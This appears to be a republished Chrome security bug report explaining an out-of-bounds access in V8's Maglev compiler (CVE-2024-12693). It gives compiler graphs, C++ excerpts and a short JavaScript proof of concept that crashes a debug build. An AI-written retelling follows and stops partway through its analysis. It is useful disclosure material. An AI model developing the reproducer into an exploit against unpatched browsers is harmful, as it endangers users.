Skip to content
Memory corruption Advisory Advanced CVE-2024-12693

Out of bounds memory access in V8 (CVE-2024-12693)

A bug in the Maglev compiler's phi untagging logic caused an out-of-bounds array access when a phi node had more predecessors than the merge array was sized for. An attacker could potentially trigger a crash or, if exploitable, memory corruption by crafting JavaScript that leads to this compiler state.

303f06e3 Follow

Originally disclosed on Chrome VRP

Bounty$20,000 High View original
  • Fix shipped in 15 days

Security Bug

Important: Please do not change the component of this bug manually.

Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md

Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs

Reports may be eligible for reward payments under the Chrome VRP: https://g.co/chrome/vrp

NOTE: Security bugs are normally made public once a fix has been widely deployed.


VULNERABILITY DETAILS

1 Maglev Graph Build

During optimization, the Graph constructed by Maglev based on bytecode is roughly as follows, and I have annotated the corresponding JS code for each part in the graph.

After graph building
    ...
    Block b2 
     14: ReduceInterruptBudgetForLoop(13)  
         ↳ lazy @22 (4 live vars)
     16: Jump b3
      │  with gap moves:
      │    - n17:(x) → 19: φᵀ r0 (x)
      │    - n18:(x) → 20: φᵀ r3 (x)
      ▼
╭──►Block b3 peeled (effects:)    // for (let i = 0; i < 5; i++) {
│    19: φᵀ r0 (n17, n30) (compressed) → (x), 21 uses
│    20: φᵀ r3 (n18, n31) (compressed) → (x), 2 uses 
│    21: CheckedSmiUntag [n20:(x)] → (x), 3 uses
│    22: Int32Compare(LessThan) [n21:(x), n10:(x)] → (x), 0 uses 🪦 
│╭───23: BranchIfInt32Compare(LessThan) [n21:(x), n10:(x)] b4 b5
││    ↓
││  Block b4     // loop body
││   25: CheckedSmiUntag [n19:(x)] → (x), 1 uses 
││   26: Int32DecrementWithOverflow [n25:(x)] → (x), 2 uses // v3--
││   27: Int32IncrementWithOverflow [n21:(x)] → (x), 2 uses 
││   28: ReduceInterruptBudgetForLoop(13) 
││   30: Int32ToNumber [n26:(x)] → (x), 1 uses
││   31: Int32ToNumber [n27:(x)] → (x), 1 uses
╰──◄─29: JumpLoop b3
 │       with gap moves:
 │         - n30:(x) → 19: φᵀ r0 (x)
 │         - n31:(x) → 20: φᵀ r3 (x)
 │ 
 ╰─►Block b5
        // use_v3 = v3; 
     32: LoadTaggedFieldForContextSlot(0x14, compressed) [n3:(x)] → (x), 1 uses
     33: ThrowReferenceErrorIfHole [n32:(x)] 
     34: CheckSmi [n19:(x)]
     35: StoreTaggedFieldNoWriteBarrier(0x14) [n3:(x), n19:(x)] 
        // Reflect.apply();
     40: 🐢 CallKnownJSFunction(0x09b10025d6a9 <SharedFunctionInfo apply>) [n38:(x), n39:(x), n37:(x), n4:(x)] → (x), 0 uses, but required
╭────41: Jump b7
│        with gap moves:
│          - n36:(x) → 56: φᵀ r1 (x)
│  
│   Block b6 (exception handler)
│    42: φᵀₑ <accumulator> (compressed) → (x), 1 uses
│    ...
│    55: Jump b7
│     │  with gap moves:
│     │    - n36:(x) → 56: φᵀ r1 (x)
│     ▼
╰┬─►Block b7 (effects: ua)    // the body of the do-while loop
 │   56: φᵀ r1 (n36, n36, n19) (compressed) → (x), 1 uses     // This phi node represents v15 and v3
 │   58: 🐢 CallBuiltin(KeyedStoreIC_Megamorphic) [n57:(x), n56:(x), n18:(x), n3:(x)] → (x), 0 uses, but required 
 │   61: ReduceInterruptBudgetForLoop(7) 
 │   62: Jump b8
 │    │  with gap moves:
 │    │    - n63:(x) → 64: φᵀ r2 (x)
 │    ▼
 │╭►Block b8 peeled (effects:)    // empty loop: for (let i40 = 100; i40; --i40) {}
 ││  64: φᵀ r2 (n63, n70) (compressed) → (x), 3 uses 
 ││╭──65: BranchIfToBooleanTrue [n64:(x)] b9 b10
 │││   ↓
 │││ Block b9 
 │││  66: CheckedSmiUntag [n64:(x)] → (x), 1 uses
 │││  67: Int32DecrementWithOverflow [n66:(x)] → (x), 2 uses 
 │││  68: ReduceInterruptBudgetForLoop(7) 
 │╰─◄─69: JumpLoop b8
 │ │      with gap moves:
 │ │        - n70:(x) → 64: φᵀ r2 (x)
 │ │
 │ ╰►Block b10
 │╭───71: BranchIfReferenceEqual [n19:(x), n8:(x)] b12 b11    // Determine whether the do-while loop should continue
 ││    ↓
 ││  Block b11
 ││   72: ReduceInterruptBudgetForLoop(27) 
 ╰──◄─73: JumpLoop b7    // backedge for do-while loop
  │       with gap moves:
  │         - n19:(x) → 56: φᵀ r1 (x)
  │ 
  ╰─►Block b12
    ...

The above Maglev Graph can be represented as the following CFG.

    B3 <--+    // for (let i = 0; i < 5; i++) { ... }
    |\    |  
    | +-->B4 
    |
    V
    B5        B6 (exception handler)    // try-catch
    |         |
    +---------+
        |
        V
   +--> B7    // do { ... }while();
   |    |
   |    V
   |    B8<---+    // for (let i40 = 100; i40; --i40) { }
   |    |\    |
   |    | +->B9
   |    V  
   |    B10
   |    |
   |    V
   +----B11

We need to pay special attention to 56: φᵀ r1 (n36, n36, n19) node in B7, this special Phi has three input nodes.

2 Maglev Phi Untagging

MaglevPhiRepresentationSelector::PreProcessBasicBlock() is applied to every BasicBlock in the Maglev Graph, and the function is as follows.

C++
BlockProcessResult MaglevPhiRepresentationSelector::PreProcessBasicBlock(
    BasicBlock* block) {
  // Previously processing current_block_, now preparing to handle block
  PreparePhiTaggings(current_block_, block);
  current_block_ = block;

  if (block->has_phi()) {  
    auto& phis = *block->phis();

    auto first_retry = phis.begin();
    auto end_retry = first_retry;
    bool any_change = false;

    for (auto it = phis.begin(); it != phis.end(); ++it) { 
      Phi* phi = *it;
      switch (ProcessPhi(phi)) {   // Optimizing the type of phi node
        ...
      }
    }
    ...
  }

  return BlockProcessResult::kContinue;
}

The crash occurs during the process of PreProcessBasicBlock() handling B7.

We need to pay attention to two functions within it: PreparePhiTaggings() and ProcessPhi().

3 Add elements to merge_values_

  1. MaglevPhiRepresentationSelector::PreparePhiTaggings()
C++
void MaglevPhiRepresentationSelector::PreparePhiTaggings(
    BasicBlock* old_block, const BasicBlock* new_block) {
  ...
  // Clear the predecessor list
  predecessors_.clear();

  if (!new_block->is_merge_block()) {    // If it's not a merge block, this block only has one predecessor
    BasicBlock* pred = new_block->predecessor();    // Get the predecessor of this block
    predecessors_.push_back(pred->snapshot());    // Put it into predecessors_
  } else {    // If it's a merge block, the merge block must have multiple predecessors (such as back edge or merge edge of if)
    int skip_backedge = new_block->is_loop();    // Determine if it is a loop
    for (int i = 0; i < new_block->predecessor_count() - skip_backedge; i++) {
      BasicBlock* pred = new_block->predecessor_at(i);    // Get the predecessor of new_block
      predecessors_.push_back(pred->snapshot());    // Only two elements will be placed in predecessors_
    }
  }
  ...

  // Start a new snapshot based on predecessors_ 
  phi_taggings_.StartNewSnapshot(base::VectorOf(predecessors_), merge_taggings);
}

This function collects predecessor nodes other than LoopJump. B7 has three predecessor BasicBlocks: B5, B6, B11. Among them, B11 is LoopJump, which will be skipped, so the predecessors_ = {B5->snapshot(), B6->snapshot()} is passed into StartNewSnapshot() (later written as B5->snapshot() as S5, the rest is the same).

Debugging found that since B6 has no input nodes, S6 = root_snapshot_. The SnapshotTable at this time is as follows.

    root_snapshot_, S6, log: [0, 0)
            |
           /
          /
         /
       S5, log: [0, 1) 
  1. SnapshotTable::StartNewSnapshot() will call two functions for processing.
C++
template <class Value, class KeyData = NoKeyData>
class SnapshotTable {
  void StartNewSnapshot(base::Vector<const Snapshot> predecessors,
                        const MergeFun& merge_fun,
                        const ChangeCallback& change_callback = {}) {
    StartNewSnapshot(predecessors, change_callback);
    MergePredecessors(predecessors, merge_fun, change_callback);
  }
}
  1. StartNewSnapshot() will find the nearest common ancestor node of {S5, S6}, which is root_snapshot_, and then create S7 with root_snapshot_ as the parent node. The SnapshotTable is as follows.
    root_snapshot_, S6, log: [0, 0)
            |        |
           /          \
          /            \
         /              \
       S5, log: [0, 1)   \
                        S7, log: [1, Invaild)
  1. MergePredecessors()
C++
template <class Value, class KeyData>
template <class MergeFun, class ChangeCallback>
void SnapshotTable<Value, KeyData>::MergePredecessors(
    base::Vector<const Snapshot> predecessors, const MergeFun& merge_fun,
    const ChangeCallback& change_callback) {
  ...

  SnapshotData* common_ancestor = current_snapshot_->parent;    // root_snapshot_

  for (uint32_t i = 0; i < predecessor_count; ++i) {
    for (SnapshotData* predecessor = predecessors[i].data_; 
         predecessor != common_ancestor; predecessor = predecessor->parent) { 
      base::Vector<LogEntry> log_entries = LogEntries(predecessor);
      for (const LogEntry& entry : base::Reversed(log_entries)) {
        RecordMergeValue(entry.table_entry, entry.new_value, i,
                         predecessor_count);
      }
    }
  }
  ...
}

This method will traverse the LogEntry of SnapshotData between [predecessor, common_ancestor). In this case,

  • For S5, it will access [S5, root_snapshot_), which is the LogEntry in S5, and then call RecordMergeValue() for processing.
  • For S6, [S6, root_snapshot_) is empty.
    root_snapshot_, S6, log: [0, 0)    <== common_ancestor
            |        |
           /          \
          /            \
         /              \
       S5, log: [0, 1)   \
                        S7, log: [1, Invaild)    <== current_snapshot_
  1. RecordMergeValue()
C++
template <class Value, class KeyData>
void SnapshotTable<Value, KeyData>::RecordMergeValue(
    TableEntry& entry,  
    const Value& value, 
    uint32_t predecessor_index,    // 0
    uint32_t predecessor_count    // 2
) {

  if (predecessor_index == entry.last_merged_predecessor) {
    ...
  }

  if (entry.merge_offset == kNoMergeOffset) { 
    // Reserve predecessor_count elements in merge_values_
    entry.merge_offset = static_cast<uint32_t>(merge_values_.size());
    merging_entries_.push_back(&entry);
    merge_values_.insert(merge_values_.end(), predecessor_count, entry.value);
  }

  merge_values_[entry.merge_offset + predecessor_index] = value;
  entry.last_merged_predecessor = predecessor_index;
}

Note: When RecordMergeValue() processes the LogEntry in S5, predecessor_index = 0, and predecessor_count = 2. Therefore, merge_values_.insert() will insert two slots in the array.

4 Access merge_values_

Then, it will enter the ProcessPhi() method to optimize phi. The crash occurs when ProcessPhi() handles 56: φᵀ r1 (n36, n36, n19) in B7.

By adding the --trace-maglev-phi-untagging option, you can see that before optimizing n56, its input phi node n19: phi will be optimized to the Int32 type by ProcessPhi().

Considering for untagging: n19
  + use_reprs  : {Int32}
  + input_reprs: {Int32}
  + intersection reprs: {Int32}
  => Untagging to Int32
    @ Input 0 (n17): Making Int32 instead of Smi
    @ Input 1 (n30): Bypassing conversion
...

Considering for untagging: n56
  + use_reprs  : {Tagged}
  + input_reprs: {Int32, Float64}
  => Leaving tagged [incompatible uses]
  1. ProcessPhi()
C++
MaglevPhiRepresentationSelector::ProcessPhiResult
MaglevPhiRepresentationSelector::ProcessPhi(Phi* node) {
  ...
  ValueRepresentationSet input_reprs;   
  ...
  bool has_tagged_phi_input = false;   
  for (int i = 0; i < node->input_count(); i++) {  
    ValueNode* input = node->input(i).node();
    if (input->Is<SmiConstant>()) {   
      ...
    } else if (Constant* constant = input->TryCast<Constant>()) { 
      ...
    } else if (input->properties().is_conversion()) {  
      ...
    } else if (Phi* input_phi = input->TryCast<Phi>()) {   
      ...
    } else { 
      ...  
      // If the input is tagged, and it is not required to perform tagging operations to become tagged
      // Then we will not perform hosit operations, nor will we carry out untag optimizations
      input_reprs.RemoveAll();
      break;
    }
  }

  // Get the usage information of phi
  UseRepresentationSet use_reprs;
  if (node->is_loop_phi() && !node->get_same_loop_uses_repr_hints().empty()) {
    // {node} is a loop phi that has uses inside the loop; we will tag/untag
    // based on those uses, ignoring uses after the loop.
    use_reprs = node->get_same_loop_uses_repr_hints();
  } else {
    use_reprs = node->get_uses_repr_hints();
  }
  ...
  
  if (use_reprs.contains(UseRepresentation::kTagged) ||
      use_reprs.contains(UseRepresentation::kUint32) || use_reprs.empty()) {
    // For phi nodes used as tagged types, we will not perform untagged operations
    TRACE_UNTAGGING("  => Leaving tagged [incompatible uses]");
    EnsurePhiInputsTagged(node);
    return default_result;
  }
  ...
}

ProcessPhi() first calculates two sets of types:

  • input_reprs: The representation of the input nodes of phi. The input node n36 of n56 is of Int32 type, and n19 is also a phi node, but it has been optimized to Float64 type. So for n56, input_reprs={Int32, Float64}.
  • use_reprs: The value of phi will be used as what type. In this case, the value of n56 will only be used as tagged.

Since the value of n56 is used as a tagged type, ProcessPhi() gives up the optimization for this node, calls EnsurePhiInputsTagged() to ensure that all input nodes of n56 are tagged, and then exits.

  1. EnsurePhiInputsTagged()
C++
void MaglevPhiRepresentationSelector::EnsurePhiInputsTagged(Phi* phi) { 
  for (int i = 0; i < phi->input_count(); i++) {    // Traverse all inputs of Phi
    ValueNode* input = phi->input(i).node();    // Get the input node  
    if (Phi* phi_input = input->TryCast<Phi>()) {    // If it is a phi node
      phi->change_input(    // Perform tagging operation for this input phi node
          i, EnsurePhiTagged(phi_input, phi->predecessor_at(i),
                             NewNodePosition::kEndOfBlock, nullptr, i));
    } else {
      ...
    }
  }
}

EnsurePhiInputsTagged() traverses the phi nodes in the input nodes of n56, that is, n19, and calls EnsurePhiTagged() to ensure that the value of the phi node n19 is tagged.

Note: n19 is the third input node of n56, so the predecessor_index parameter passed into EnsurePhiTagged() is 2.

  1. EnsurePhiTagged()
C++
ValueNode* MaglevPhiRepresentationSelector::EnsurePhiTagged(
    Phi* phi,     // n19
    BasicBlock* block, 
    NewNodePosition pos,
    const ProcessingState* state, 
    std::optional<int> predecessor_index    // 2
  ) {
  ...

  // Try to find an existing Tagged conversion for {phi} in {phi_taggings_}.
  if (phi->has_key()) {
    if (predecessor_index.has_value()) {    // 2
      if (ValueNode* tagging = phi_taggings_.GetPredecessorValue(    // <==
              phi->key(), predecessor_index.value())) {
        return tagging;
      }
    } else {
      if (ValueNode* tagging = phi_taggings_.Get(phi->key())) {
        return tagging;
      }
    }
  }
  ...
}

EnsurePhiTagged() first calls phi_taggings_.GetPredecessorValue() to query whether the untagged phi node n19 has been tagged before. If it has, it gets the node and directly returns it.

  1. GetPredecessorValue()
C++
template <class Value, class KeyData = NoKeyData>
class SnapshotTable {
  ...
  const Value& GetPredecessorValue(Key key, int predecessor_index) {
    if (key.entry_->merge_offset == kNoMergeOffset)  return Get(key);
    return merge_values_[key.entry_->merge_offset + predecessor_index];
  }
}

Finally, we've arrived at the point where an array out-of-bounds error occurs. The SnapshotTable::RecordMergeValue() method inserts two elements into merge_values_. However, when querying, key.entry_->merge_offset=0, predecessor_index = 2, so it will access merge_values_[2], leading to an array out-of-bounds error.

This out-of-bounds range might lead to the construction of an incorrect Maglev Graph in the phi untagging, which is a complex vulnerability. I'm not sure if it can be exploited.

5 Commit Bisect

After analyzing the source code, I am confident that this vulnerability originates from commit: c3935610c0f95c93b48e5647ec59bf855df58c64.

This means that this vulnerability was introduced on 5/8/2023, at a time when the maglev compiler was not even enabled by default. I am surprised that this vulnerability has survived for so long.

VERSION

V8: from commit c3935610c0f95c93b48e5647ec59bf855df58c64 to the latest version.

REPRODUCTION CASE

poc.js:

JavaScript
let use_v3;
let obj = {};

function f1() {
  
    // Create a phi node and trigger the maglev untagged optimization
    let v3 = 5;
    for (let i = 0; i < 5; i++) {
        v3--;
    }
    use_v3 = v3;    // Prevent v3 from being deleted

    let v15 = 1.2;

    // The try statement and the catch statement each have a path that leads to do{...}while()
    try {
        Reflect.apply();    // Used to throw an exception
    } catch(e) {
    }

    // The BasicBlock corresponding to do{...}while() has three incoming edges: 
    // the try statement, the catch statement, and the loop's back edge
    do {
        obj[v15] = 1;   // tagged use of v3
        v15 = v3;
        for (let i40 = 100; i40; --i40) {
        }
    } while (v3);
}

%PrepareFunctionForOptimization(f1);
f1();
f1();
%OptimizeMaglevOnNextCall(f1);
f1();

Run the following with a debug-compiled version of V8:

Shell
./d8 \
    --allow-natives-syntax \
    ./poc.js

You will get the following crash:

#
# Fatal error in ../../src/zone/zone-containers.h, line 247
# Debug check failed: pos < size() (2 vs. 2).
#

CREDIT INFORMATION

Externally reported security bugs may appear in Chrome release notes. If this bug is included, how would you like to be credited? Reporter credit: 303f06e3

The original report as published on the Chromium issue tracker, by 303f06e3. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 14 min read.

Context

This report is a Chrome VRP security bug in V8, the JavaScript engine used by Chrome and by the standalone d8 shell. The affected component is the Maglev compiler, specifically the phi untagging pass implemented by MaglevPhiRepresentationSelector. The weakness class recorded for the bug is an out of bounds memory access, and the report was disclosed on 2024-12-18 with a bounty of 20000.00 USD. The reporter credit is 303f06e3.

Maglev builds a graph from bytecode and then tries to give phi nodes a more specific machine representation than the generic tagged value, for example Int32 or Float64. To do this it tracks, per basic block, which phi has been converted to which representation. That bookkeeping lives in a SnapshotTable, which records changes as log entries along a chain of snapshots and merges the values of several predecessors when a block has more than one incoming edge. The bug is in that merge bookkeeping: a value is written into a slot sized for the number of predecessors that were merged, but later read with a predecessor index that can be larger than that count.

The report does not describe any web-facing endpoint, HTTP request or user interaction. The whole analysis is at the level of the compiler's internal graph and the C++ source. The report gives only a V8 commit range, not a Chrome version.

Setup

The researcher worked with a debug build of V8 and the d8 shell. The reproduction requires native syntax, so the shell must be started with --allow-natives-syntax. The report also mentions a tracing flag, --trace-maglev-phi-untagging, used to observe the untagging decisions for individual phi nodes.

The report gives the affected version range as:

Text
V8: from commit [redacted] to the latest version.

A bisect identified [redacted] as the commit that introduced the vulnerability. The researcher notes that this was on 5/8/2023, at a time when Maglev was not even enabled by default, and expresses surprise that the bug survived for so long.

No accounts, roles or network access are involved. The precondition is simply that the function is optimised by Maglev, which the proof of concept forces with %OptimizeMaglevOnNextCall.

Finding it

The researcher starts from the Maglev graph that the compiler builds for a small function. The function contains a counted loop that decrements a variable, a try/catch where the try body throws, and a do ... while loop whose body performs a tagged store and contains an empty inner loop. The key structural property is that the basic block for the do ... while body, B7, has three incoming edges: one from the block after the try (B5), one from the exception handler (B6), and one from the loop back edge (B11).

The graph the report shows, with the researcher's annotations tying each part to the JavaScript source, is reproduced below exactly as given:

Text
After graph building
    ...
    Block b2
     14: ReduceInterruptBudgetForLoop(13)
         ↳ lazy @22 (4 live vars)
     16: Jump b3
      │  with gap moves:
      │    - n17:(x) → 19: φᵀ r0 (x)
      │    - n18:(x) → 20: φᵀ r3 (x)
      ▼
╭──►Block b3 peeled (effects:)    // for (let i = 0; i < 5; i++) {
│    19: φᵀ r0 (n17, n30) (compressed) → (x), 21 uses
│    20: φᵀ r3 (n18, n31) (compressed) → (x), 2 uses
│    21: CheckedSmiUntag [n20:(x)] → (x), 3 uses
│    22: Int32Compare(LessThan) [n21:(x), n10:(x)] → (x), 0 uses 🪦
│╭───23: BranchIfInt32Compare(LessThan) [n21:(x), n10:(x)] b4 b5
││    ↓
││  Block b4     // loop body
││   25: CheckedSmiUntag [n19:(x)] → (x), 1 uses
││   26: Int32DecrementWithOverflow [n25:(x)] → (x), 2 uses // v3--
││   27: Int32IncrementWithOverflow [n21:(x)] → (x), 2 uses
││   28: ReduceInterruptBudgetForLoop(13)
││   30: Int32ToNumber [n26:(x)] → (x), 1 uses
││   31: Int32ToNumber [n27:(x)] → (x), 1 uses
╰──◄─29: JumpLoop b3
 │       with gap moves:
 │         - n30:(x) → 19: φᵀ r0 (x)
 │         - n31:(x) → 20: φᵀ r3 (x)
 │
 ╰─►Block b5
        // use_v3 = v3;
     32: LoadTaggedFieldForContextSlot(0x14, compressed) [n3:(x)] → (x), 1 uses
     33: ThrowReferenceErrorIfHole [n32:(x)]
     34: CheckSmi [n19:(x)]
     35: StoreTaggedFieldNoWriteBarrier(0x14) [n3:(x), n19:(x)]
        // Reflect.apply();
     40: 🐢 CallKnownJSFunction(0x09b10025d6a9 <SharedFunctionInfo apply>) [n38:(x), n39:(x), n37:(x), n4:(x)] → (x), 0 uses, but required
╭────41: Jump b7
│        with gap moves:
│          - n36:(x) → 56: φᵀ r1 (x)
│
│   Block b6 (exception handler)
│    42: φᵀₑ <accumulator> (compressed) → (x), 1 uses
│    ...
│    55: Jump b7
│     │  with gap moves:
│     │    - n36:(x) → 56: φᵀ r1 (x)
│     ▼
╰┬─►Block b7 (effects: ua)    // the body of the do-while loop
 │   56: φᵀ r1 (n36, n36, n19) (compressed) → (x), 1 uses     // This phi node represents v15 and v3
 │   58: 🐢 CallBuiltin(KeyedStoreIC_Megamorphic) [n57:(x), n56:(x), n18:(x), n3:(x)] → (x), 0 uses, but required
 │   61: ReduceInterruptBudgetForLoop(7)
 │   62: Jump b8
 │    │  with gap moves:
 │    │    - n63:(x) → 64: φᵀ r2 (x)
 │    ▼
 │╭►Block b8 peeled (effects:)    // empty loop: for (let i40 = 100; i40; --i40) {}
 ││  64: φᵀ r2 (n63, n70) (compressed) → (x), 3 uses
 ││╭──65: BranchIfToBooleanTrue [n64:(x)] b9 b10
 │││   ↓
 │││ Block b9
 │││  66: CheckedSmiUntag [n64:(x)] → (x), 1 uses
 │││  67: Int32DecrementWithOverflow [n66:(x)] → (x), 2 uses
 │││  68: ReduceInterruptBudgetForLoop(7)
 │╰─◄─69: JumpLoop b8
 │ │      with gap moves:
 │ │        - n70:(x) → 64: φᵀ r2 (x)
 │ │
 │ ╰►Block b10
 │╭───71: BranchIfReferenceEqual [n19:(x), n8:(x)] b12 b11    // Determine whether the do-while loop should continue
 ││    ↓
 ││  Block b11
 ││   72: ReduceInterruptBudgetForLoop(27)
 ╰──◄─73: JumpLoop b7    // backedge for do-while loop
  │       with gap moves:
  │         - n19:(x) → 56: φᵀ r1 (x)
  │
  ╰─►Block b12
    ...

The same graph is summarised as a control flow graph:

Text
    B3 <--+    // for (let i = 0; i < 5; i++) { ... }
    |\    |
    | +-->B4
    |
    V
    B5        B6 (exception handler)    // try-catch
    |         |
    +---------+
        |
        V
   +--> B7    // do { ... }while();
   |    |
   |    V
   |    B8<---+    // for (let i40 = 100; i40; --i40) { }
   |    |\    |
   |    | +->B9
   |    V
   |    B10
   |    |
   |    V
   +----B11

The node the researcher singles out is 56: φᵀ r1 (n36, n36, n19) in B7. It is a phi with three inputs, and it represents both v15 and v3 in the source. The third input, n19, is the phi from the counted loop B3, which the untagging pass will convert to Int32.

Exploitation

Step 1: understand how predecessors are collected

The pass processes every basic block through MaglevPhiRepresentationSelector::PreProcessBasicBlock():

C++
BlockProcessResult MaglevPhiRepresentationSelector::PreProcessBasicBlock(
    BasicBlock* block) {
  // Previously processing current_block_, now preparing to handle block
  PreparePhiTaggings(current_block_, block);
  current_block_ = block;

  if (block->has_phi()) {
    auto& phis = *block->phis();

    auto first_retry = phis.begin();
    auto end_retry = first_retry;
    bool any_change = false;

    for (auto it = phis.begin(); it != phis.end(); ++it) {
      Phi* phi = *it;
      switch (ProcessPhi(phi)) {   // Optimizing the type of phi node
        ...
      }
    }
    ...
  }

  return BlockProcessResult::kContinue;
}

The crash happens while this function handles B7. Two helpers matter: PreparePhiTaggings() and ProcessPhi().

Step 2: see which predecessors are merged

PreparePhiTaggings() builds the list of predecessor snapshots that will be merged:

C++
void MaglevPhiRepresentationSelector::PreparePhiTaggings(
    BasicBlock* old_block, const BasicBlock* new_block) {
  ...
  // Clear the predecessor list
  predecessors_.clear();

  if (!new_block->is_merge_block()) {    // If it's not a merge block, this block only has one predecessor
    BasicBlock* pred = new_block->predecessor();    // Get the predecessor of this block
    predecessors_.push_back(pred->snapshot());    // Put it into predecessors_
  } else {    // If it's a merge block, the merge block must have multiple predecessors (such as back edge or merge edge of if)
    int skip_backedge = new_block->is_loop();    // Determine if it is a loop
    for (int i = 0; i < new_block->predecessor_count() - skip_backedge; i++) {
      BasicBlock* pred = new_block->predecessor_at(i);    // Get the predecessor of new_block
      predecessors_.push_back(pred->snapshot());    // Only two elements will be placed in predecessors_
    }
  }
  ...

  // Start a new snapshot based on predecessors_
  phi_taggings_.StartNewSnapshot(base::VectorOf(predecessors_), merge_taggings);
}

B7 has three predecessors, B5, B6 and B11. Because B7 is a loop, the back edge B11 is skipped, so predecessors_ becomes {B5->snapshot(), B6->snapshot()}. The report abbreviates these as S5 and S6. Debugging showed that B6 has no input nodes, so S6 is the same as root_snapshot_. At this point the snapshot table looks like this:

Text
    root_snapshot_, S6, log: [0, 0)
            |
           /
          /
         /
       S5, log: [0, 1)

Step 3: create the new snapshot

SnapshotTable::StartNewSnapshot() calls two functions:

C++
template <class Value, class KeyData = NoKeyData>
class SnapshotTable {
  void StartNewSnapshot(base::Vector<const Snapshot> predecessors,
                        const MergeFun& merge_fun,
                        const ChangeCallback& change_callback = {}) {
    StartNewSnapshot(predecessors, change_callback);
    MergePredecessors(predecessors, merge_fun, change_callback);
  }
}

The first call finds the nearest common ancestor of {S5, S6}, which is root_snapshot_, and creates S7 with root_snapshot_ as its parent:

Text
    root_snapshot_, S6, log: [0, 0)
            |        |
           /          \
          /            \
         /              \
       S5, log: [0, 1)   \
                        S7, log: [1, Invaild)

Step 4: merge the predecessor logs

MergePredecessors() walks the log entries between each predecessor and the common ancestor:

C++
template <class Value, class KeyData>
template <class MergeFun, class ChangeCallback>
void SnapshotTable<Value, KeyData>::MergePredecessors(
    base::Vector<const Snapshot> predecessors, const MergeFun& merge_fun,
    const ChangeCallback& change_callback) {
  ...

  SnapshotData* common_ancestor = current_snapshot_->parent;    // root_snapshot_

  for (uint32_t i = 0; i < predecessor_count; ++i) {
    for (SnapshotData* predecessor = predecessors[i].data_;
         predecessor != common_ancestor; predecessor = predecessor->parent) {
      base::Vector<LogEntry> log_entries = LogEntries(predecessor);
      for (const LogEntry& entry : base::Reversed(log_entries)) {
        RecordMergeValue(entry.table_entry, entry.new_value, i,
                         predecessor_count);
      }
    }
  }
  ...
}

For S5 the range [S5, root_snapshot_) contains the single log entry in S5, and RecordMergeValue() is called for it. For S6 the range [S6, root_snapshot_) is empty, so nothing is recorded for the second predecessor.

Text
    root_snapshot_, S6, log: [0, 0)    <== common_ancestor
            |        |
           /          \
          /            \
         /              \
       S5, log: [0, 1)   \
                        S7, log: [1, Invaild)    <== current_snapshot_

Step 5: reserve slots for two predecessors

RecordMergeValue() reserves space in merge_values_ the first time an entry is merged:

C++
template <class Value, class KeyData>
void SnapshotTable<Value, KeyData>::RecordMergeValue(
    TableEntry& entry,
    const Value& value,
    uint32_t predecessor_index,    // 0
    uint32_t predecessor_count    // 2
) {

  if (predecessor_index == entry.last_merged_predecessor) {
    ...
  }

  if (entry.merge_offset == kNoMergeOffset) {
    // Reserve predecessor_count elements in merge_values_
    entry.merge_offset = static_cast<uint32_t>(merge_values_.size());
    merging_entries_.push_back(&entry);
    merge_values_.insert(merge_values_.end(), predecessor_count, entry.value);
  }

  merge_values_[entry.merge_offset + predecessor_index] = value;
  entry.last_merged_predecessor = predecessor_index;
}

When the S5 log entry is processed, predecessor_index is 0 and predecessor_count is 2, so merge_values_.insert() inserts two slots. The report stresses this point: the array is sized for the two merged predecessors, not for the three incoming edges of B7.

Step 6: process the phi and fall back to tagged

ProcessPhi() then handles 56: φᵀ r1 (n36, n36, n19). With --trace-maglev-phi-untagging the researcher observed that n19 is untagged to Int32 before n56 is considered:

Text
Considering for untagging: n19
  + use_reprs  : {Int32}
  + input_reprs: {Int32}
  + intersection reprs: {Int32}
  => Untagging to Int32
    @ Input 0 (n17): Making Int32 instead of Smi
    @ Input 1 (n30): Bypassing conversion
...

Considering for untagging: n56
  + use_reprs  : {Tagged}
  + input_reprs: {Int32, Float64}
  => Leaving tagged [incompatible uses]

The relevant part of ProcessPhi() is:

C++
MaglevPhiRepresentationSelector::ProcessPhiResult
MaglevPhiRepresentationSelector::ProcessPhi(Phi* node) {
  ...
  ValueRepresentationSet input_reprs;
  ...
  bool has_tagged_phi_input = false;
  for (int i = 0; i < node->input_count(); i++) {
    ValueNode* input = node->input(i).node();
    if (input->Is<SmiConstant>()) {
      ...
    } else if (Constant* constant = input->TryCast<Constant>()) {
      ...
    } else if (input->properties().is_conversion()) {
      ...
    } else if (Phi* input_phi = input->TryCast<Phi>()) {
      ...
    } else {
      ...
      // If the input is tagged, and it is not required to perform tagging operations to become tagged
      // Then we will not perform hosit operations, nor will we carry out untag optimizations
      input_reprs.RemoveAll();
      break;
    }
  }

  // Get the usage information of phi
  UseRepresentationSet use_reprs;
  if (node->is_loop_phi() && !node->get_same_loop_uses_repr_hints().empty()) {
    // {node} is a loop phi that has uses inside the loop; we will tag/untag
    // based on those uses, ignoring uses after the loop.
    use_reprs = node->get_same_loop_uses_repr_hints();
  } else {
    use_reprs = node->get_uses_repr_hints();
  }
  ...

  if (use_reprs.contains(UseRepresentation::kTagged) ||
      use_reprs.contains(UseRepresentation::kUint32) || use_reprs.empty()) {
    // For phi nodes used as tagged types, we will not perform untagged operations
    TRACE_UNTAGGING("  => Leaving tagged [incompatible uses]");
    EnsurePhiInputsTagged(node);
    return default_result;
  }
  ...
}

The pass computes two sets. input_reprs describes the representations of the phi's inputs: n36 is Int32 and n19 is a phi that has been optimised to Float64, so input_reprs={Int32, Float64}. use_reprs describes how the phi's value is used; here n56 is only used as a tagged value. Because the use is tagged, ProcessPhi() gives up on untagging this node, calls EnsurePhiInputsTagged() to make sure every input is tagged, and returns.

Step 7: tag the input phi, using the wrong index

EnsurePhiInputsTagged() walks the inputs and tags any input that is itself a phi:

C++
void MaglevPhiRepresentationSelector::EnsurePhiInputsTagged(Phi* phi) {
  for (int i = 0; i < phi->input_count(); i++) {    // Traverse all inputs of Phi
    ValueNode* input = phi->input(i).node();    // Get the input node
    if (Phi* phi_input = input->TryCast<Phi>()) {    // If it is a phi node
      phi->change_input(    // Perform tagging operation for this input phi node
          i, EnsurePhiTagged(phi_input, phi->predecessor_at(i),
                             NewNodePosition::kEndOfBlock, nullptr, i));
    } else {
      ...
    }
  }
}

n19 is the third input of n56, so the predecessor_index passed to EnsurePhiTagged() is 2. The report notes this explicitly.

